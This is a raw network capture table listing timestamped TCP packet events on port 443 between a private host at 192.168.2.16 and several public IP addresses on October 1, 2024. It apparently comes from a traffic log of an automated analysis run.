Oct 1, 2024 15:08:12.333993912 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.354604959 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.359209061 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.359421015 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.359508991 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.359577894 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.359591961 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.359651089 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.360112906 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.360152006 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.360217094 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.360495090 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.360510111 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.363959074 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.364166021 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.364229918 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.364244938 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.364290953 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.364295959 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.368887901 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.368982077 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.369075060 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.369092941 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.369102001 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.369146109 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.373590946 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.373750925 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.373831987 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.373836994 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.373858929 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.373888969 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.378454924 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.378542900 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.378624916 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.378628969 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.378653049 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.378720045 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.383162022 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.385657072 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.385663986 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.398037910 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.398674965 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.398689985 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.445233107 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.445317030 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.445331097 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.448831081 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.448944092 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.448964119 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449023962 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449032068 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449048042 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449105978 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449115038 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449194908 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449213982 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449249029 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449270964 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449270964 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449276924 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449312925 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449312925 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449338913 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449378014 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449379921 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449384928 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449389935 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449400902 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449409962 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449424028 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449429989 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449435949 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449457884 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449467897 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449467897 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449480057 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449506998 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449510098 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449512005 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449568033 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449708939 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449768066 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449769974 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.449779034 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449784994 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.449898958 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.449907064 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.449954987 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.453773975 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.453847885 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.454010963 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.454070091 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.454860926 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.454941988 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.454951048 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.455044985 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.455709934 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.455790997 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.456192970 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.456295967 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.472558975 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.472573042 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.472594023 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.472599983 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.489018917 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.489109993 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.535746098 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.535821915 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.535835981 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.535845041 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.535940886 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536120892 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536174059 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536180973 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536248922 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536288977 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536343098 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536355972 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536360979 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536381960 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536410093 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536698103 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536751032 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536756992 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536762953 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536784887 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536808968 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536808968 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.536817074 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.536840916 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.537244081 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.537281990 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.537312984 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.537322044 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.537333965 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.537342072 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.537401915 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.537406921 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.537482977 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.537986994 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.538031101 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.538084984 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.538084984 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.538096905 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.538156986 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.538384914 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.538474083 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.538513899 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.538513899 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.538523912 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.538535118 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.545563936 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.545610905 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.545800924 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.546035051 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.546049118 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.726053953 CEST	443	49744	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.726365089 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.726382971 CEST	443	49744	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.727410078 CEST	443	49744	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.727483988 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.727773905 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.727783918 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.727828026 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.727833033 CEST	443	49744	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.727891922 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.728070974 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.728101969 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.728209019 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.728394985 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.728404999 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.793989897 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:12.794059992 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:12.794126034 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:12.857964039 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.858256102 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.858268976 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.858606100 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.859292984 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.859363079 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.859601974 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.903414011 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.928278923 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.928524017 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.928548098 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.929608107 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.929688931 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.930037975 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.930099964 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.930205107 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.930211067 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.969949007 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:13.004445076 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.004482985 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.004508018 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.004530907 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.004555941 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.004585981 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.004594088 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.004868984 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.005007029 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.005014896 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.006563902 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.006587029 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.006640911 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.006649017 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.006714106 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.009335995 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.023379087 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.023648024 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.023669958 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.024008036 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.024302959 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.024367094 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.024435043 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.063941002 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.063970089 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.063980103 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.063987970 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093116999 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093144894 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093183994 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093192101 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093218088 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.093221903 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093256950 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093269110 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.093324900 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.093332052 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.093384981 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.094167948 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094204903 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094240904 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094283104 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.094294071 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094347954 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.094739914 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094789982 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094824076 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094876051 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.094885111 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.094938993 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.095205069 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.095284939 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.095309973 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.095340967 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.095351934 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.095413923 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.095423937 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.095478058 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.096175909 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.096220970 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.096399069 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.096406937 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.141964912 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.172866106 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.172998905 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.173228025 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.173784018 CEST	49746	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.173800945 CEST	443	49746	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.176007032 CEST	49705	443	192.168.2.16	108.179.252.163
Oct 1, 2024 15:08:13.176024914 CEST	443	49705	108.179.252.163	192.168.2.16
Oct 1, 2024 15:08:13.177716017 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.177799940 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.177932978 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.178359032 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.178378105 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.181904078 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.181966066 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.181987047 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182017088 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182039976 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182065010 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.182073116 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182086945 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182123899 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.182501078 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182559967 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.182570934 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182601929 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182625055 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.182636023 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.182667017 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.182677984 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.183296919 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.183342934 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.183355093 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.183358908 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.183370113 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.183382034 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.183414936 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.184250116 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.184298038 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.184310913 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.184320927 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.184344053 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.184354067 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.184407949 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.184415102 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.184465885 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.185358047 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.185399055 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.185416937 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.185422897 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.185446024 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.185460091 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.185477972 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.185487032 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.185503960 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.195163012 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.201549053 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.201793909 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.201803923 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.202122927 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.202455044 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.202512026 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.202563047 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.223962069 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.224025011 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.224050999 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.224102020 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.234165907 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.234179020 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.234193087 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.234247923 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:13.234277010 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.234314919 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.234329939 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:13.234358072 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:13.234635115 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:13.234649897 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:13.247400045 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.252935886 CEST	49747	443	192.168.2.16	104.21.11.126
